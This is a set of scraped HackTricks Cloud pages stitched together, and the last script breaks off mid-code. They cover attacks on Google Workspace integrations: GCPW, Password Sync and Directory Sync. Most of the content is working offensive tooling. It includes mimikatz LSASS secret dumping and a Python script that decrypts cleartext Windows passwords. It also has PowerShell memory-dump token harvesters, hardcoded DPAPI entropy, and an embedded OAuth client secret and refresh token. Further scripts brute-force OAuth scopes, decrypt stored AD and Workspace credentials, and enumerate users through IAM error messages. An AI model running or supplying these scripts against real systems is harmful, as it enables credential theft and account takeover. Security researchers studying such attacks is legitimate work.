"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED" https://www.googleapis.com/auth/ediscovery (Google Vault) **Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more. * A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue. * A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation. bash # List matters curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://vault.googleapis.com/v1/matters?pageSize=10" # Create matter curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/json" \ -d '{ "name": "Legal Case 2024", "description": "Matter for the upcoming legal case involving XYZ Corp.", "state": "OPEN" }' \ "https://vault.googleapis.com/v1/matters" # Get specific matter curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://vault.googleapis.com/v1/matters/" # List holds in a matter curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://vault.googleapis.com/v1/matters//holds?pageSize=10" More [API endpoints in the docs](https://developers.google.com/vault/reference/rest) . To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from **LSASS** using **mimikatz**: bash mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit Then search for the secret like `Chrome-GCPW-` like in the image: ![](../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg) Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password: Script to obtain the password in clear-text given the access token, encrypted password and resource id python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA def get_decryption_key(access_token, resource_id): try: # Request to get the private key response = requests.get( f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}", headers={ "Authorization": f"Bearer {access_token}" } ) # Check if the response is successful if response.status_code == 200: private_key = response.json()["base64PrivateKey"] # Properly format the RSA private key private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----" return private_key else: raise ValueError(f"Failed to retrieve private key: {response.text}") except requests.RequestException as e: print(f"Error occurred while requesting the private key: {e}") return None def decrypt_password(access_token, lsa_secret): try: # Obtain the private key using the resource_id resource_id = lsa_secret["resource_id"] encrypted_data = b64decode(lsa_secret["encrypted_password"]) private_key_pem = get_decryption_key(access_token, resource_id) print("Found private key:") print(private_key_pem) if private_key_pem is None: raise ValueError("Unable to retrieve the private key.") # Load the RSA private key rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8) # Decrypt the encrypted data cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size]) # Extract the session key and other data from decrypted payload session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:] # Decrypt the AES GCM data aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac) print("Decrypted Password:", decrypted_password.decode("utf-8")) except Exception as e: print(f"Error occurred during decryption: {e}") # CHANGE THIS INPUT DATA! access_token = "" lsa_secret = { "encrypted_password": "", "resource_id": "" } decrypt_password(access_token, lsa_secret) It's possible to find the key components of this in the Chromium source code: * API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code) * API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70) * [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I) * [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - IAM, Principals & Org Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information check: [GCP - IAM, Principals & Org Policies Enum](../gcp-services/gcp-iam-and-org-policies-enum.html) 1. **Check DNS records** If it has a **`google-site-verification`** record it's probable that it's (or it was) using Workspace: dig txt hacktricks.xyz [...] hacktricks.xyz. 3600 IN TXT "google-site-verification=2mWyPXMPXEEy6QqWbCfWkxFTcQhyYdwHrOxee1Yeo-0" hacktricks.xyz. 3600 IN TXT "google-site-verification=C19PtLcZ1EGyzUYYJTX1Tp6bOGessxzN9gqE-SVKhRA" hacktricks.xyz. 300 IN TXT "v=spf1 include:usb._netblocks.mimecast.com include:_spf.google.com include:_spf.psm.knowbe4.com include:_spf.salesforce.com include:spf.mandrillapp.com ~all" If something like **`include:_spf.google.com`** also appears it confirms it (note that if it doesn't appear it doesn't denies it as a domain can be in Workspace without using gmail as mail provider). 2. **Try to setup a Workspace with that domain** Another option is to try to setup a Workspace using the domain, if it **complains that the domain is already used** (like in the image), you know it's already used! To try to setup a Workspace domain follow: [https://workspace.google.com/business/signup/welcome](https://workspace.google.com/business/signup/welcome) ![](../../../images/image (330).png) 3. **Try to recover the password of an email using that domain** If you know any valid email address being use din that domain (like: admin@email.com or info@email.com) you can try to **recover the account** in [https://accounts.google.com/signin/v2/recoveryidentifier](https://accounts.google.com/signin/v2/recoveryidentifier) , and if try doesn't shows an error indicating that Google has no idea about that account, then it's using Workspace. It's possible to **enumerate valid emails of a Workspace domain and SA emails** by trying to assign them permissions and checking the error messages. For this you just need to have permissions to assign permission to a project (which can be just owned by you). Note that to check them but even if they exist not grant them a permission you can use the type **`serviceAccount`** when it's an **`user`** and **`user`** when it's a **`SA`**: bash # Try to assign permissions to user 'unvalid-email-34r434f@hacktricks.xyz' # but indicating it's a service account gcloud projects add-iam-policy-binding \ --member='serviceAccount:unvalid-email-34r434f@hacktricks.xyz' \ --role='roles/viewer' ## Response: ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User unvalid-email-34r434f@hacktricks.xyz does not exist. # Now try with a valid email gcloud projects add-iam-policy-binding \ --member='serviceAccount:support@hacktricks.xyz' \ --role='roles/viewer' # Response: ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal support@hacktricks.xyz is of type "user". The principal should appear as "user:support@hacktricks.xyz". See https://cloud.google.com/iam/help/members/types for additional documentation. A faster way to enumerate Service Accounts in know projects is just to try to access to the URL: `https://iam.googleapis.com/v1/projects//serviceAccounts/` For examlpe: `https://iam.googleapis.com/v1/projects/gcp-labs-3uis1xlx/serviceAccounts/appengine-lab-1-tarsget@gcp-labs-3uis1xlx.iam.gserviceaccount.com` If the response is a 403, it means that the SA exists. But if the answer is a 404 it means that it doesn't exist: json // Exists { "error": { "code": 403, "message": "Method doesn't allow unregistered callers (callers without established identity). Please use API Key or other form of API consumer identity to call this API.", "status": "PERMISSION_DENIED" } } // Doesn't exist { "error": { "code": 404, "message": "Unknown service account", "status": "NOT_FOUND" } } Note how when the user email was valid the error message indicated that they type isn't, so we managed to discover that the email support@hacktricks.xyz exists without granting it any privileges. You can so the **same with Service Accounts** using the type **`user:`** instead of **`serviceAccount:`**: bash # Non existent gcloud projects add-iam-policy-binding \ --member='serviceAccount:@.iam.gserviceaccount.com' \ --role='roles/viewer' # Response ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User @.iam.gserviceaccount.com does not exist. # Existent gcloud projects add-iam-policy-binding \ --member='serviceAccount:@.iam.gserviceaccount.com' \ --role='roles/viewer' # Response ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal testing@digital-bonfire-410512.iam.gserviceaccount.com is of type "serviceAccount". The principal should appear as "serviceAccount:testing@digital-bonfire-410512.iam.gserviceaccount.com". See https://cloud.google.com/iam/help/members/types for additional documentation. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GPS - Google Password Sync - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google. It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running). To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**: * Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)** * Only available in Domain Controllers with GUI * Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users** * Very bad idea as those credentials never expired and could be misused * Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace * Google require it for domain controlled without GUI * These creds are also stored in the registry Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**. tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**. In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used. In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**. The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };` Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**. The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases: ![](../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg) Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working). In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**. Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already). I guess you could also find the AD configured credentials. Dump `PasswordSync.exe` and the `password_sync_service.exe` processes and search tokens bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps" # Regular expressions for tokens $tokenRegexes = @( "ya29\.[a-zA-Z0-9_\.\-]{50,}", "1//[a-zA-Z0-9_\.\-]{50,}" ) # Show EULA if it wasn't accepted yet for strings $stringsPath # Create a directory for the dumps if it doesn't exist if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory } # Get all Chrome process IDs $processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id # Dump each Chrome process foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" } # Extract strings and search for tokens in each dump Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $_.FullName $baseName = $_.BaseName $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile $outputFiles = @($asciiStringsFile, $unicodeStringsFile) foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) { $matches = Select-String -Path $file -Pattern $regex -AllMatches $uniqueMatches = @{} foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } } foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } } Write-Output "" } } Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: bash curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \ https://www.googleapis.com/oauth2/v4/token note Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. Also, the refresh token is not valid in every application. By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: Bash script to brute-force scopes bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt And this is the output I got at the time of the writing: https://www.googleapis.com/auth/admin.directory.user Which is the same one you get if you don't indicate any scope. caution With this scope you could **modify the password of a existing user to escalate privileges**. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCDS - Google Cloud Directory Sync - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 9 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing). It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. note To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`** tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**. Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image: ![](../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg) The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**. Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**. The most interesting information inside the file would be: xml [...] OAUTH2 rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA== https://www.google.com/m8/feeds/ https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/plus.me [...] 192.168.10.23 389 dc=hacktricks,dc=local SIMPLE DOMAIN\domain-admin XMmsPMGxz7nkpChpC7h2ag== [...] Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64. Powershell script to decrypt the refresh token and the password bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key" # Open the registry key try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU\$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit } # Get Base64-encoded IV and Key from the registry try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close() # Decode Base64 IV and Key $ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64) # Read XML content $xmlContent = Get-Content -Path $xmlConfigPath -Raw # Extract Base64-encoded encrypted values using regex $refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value $encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value # Decode encrypted values from Base64 $refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64) # Function to decrypt data using AES CBC Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes $decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray() $cryptoStream.Close() $memoryStream.Close() return $plaintextBytes } # Decrypt the values $refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes) $decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes) # Output the decrypted values Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword" note Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys). Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info. Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already). I guess you could also find the AD configured credentials. Dump config-manager.exe processes and search tokens bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps" # Regular expressions for tokens $tokenRegexes = @( "ya29\.[a-zA-Z0-9_\.\-]{50,}", "1//[a-zA-Z0-9_\.\-]{50,}" ) # Create a directory for the dumps if it doesn't exist if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory } # Get all Chrome process IDs $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id # Dump each Chrome process foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" } # Extract strings and search for tokens in each dump Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $_.FullName $baseName = $_.BaseName $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile $outputFiles = @($asciiStringsFile, $unicodeStringsFile) foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) { $matches = Select-String -Path $file -Pattern $regex -AllMatches $uniqueMatches = @{} foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ 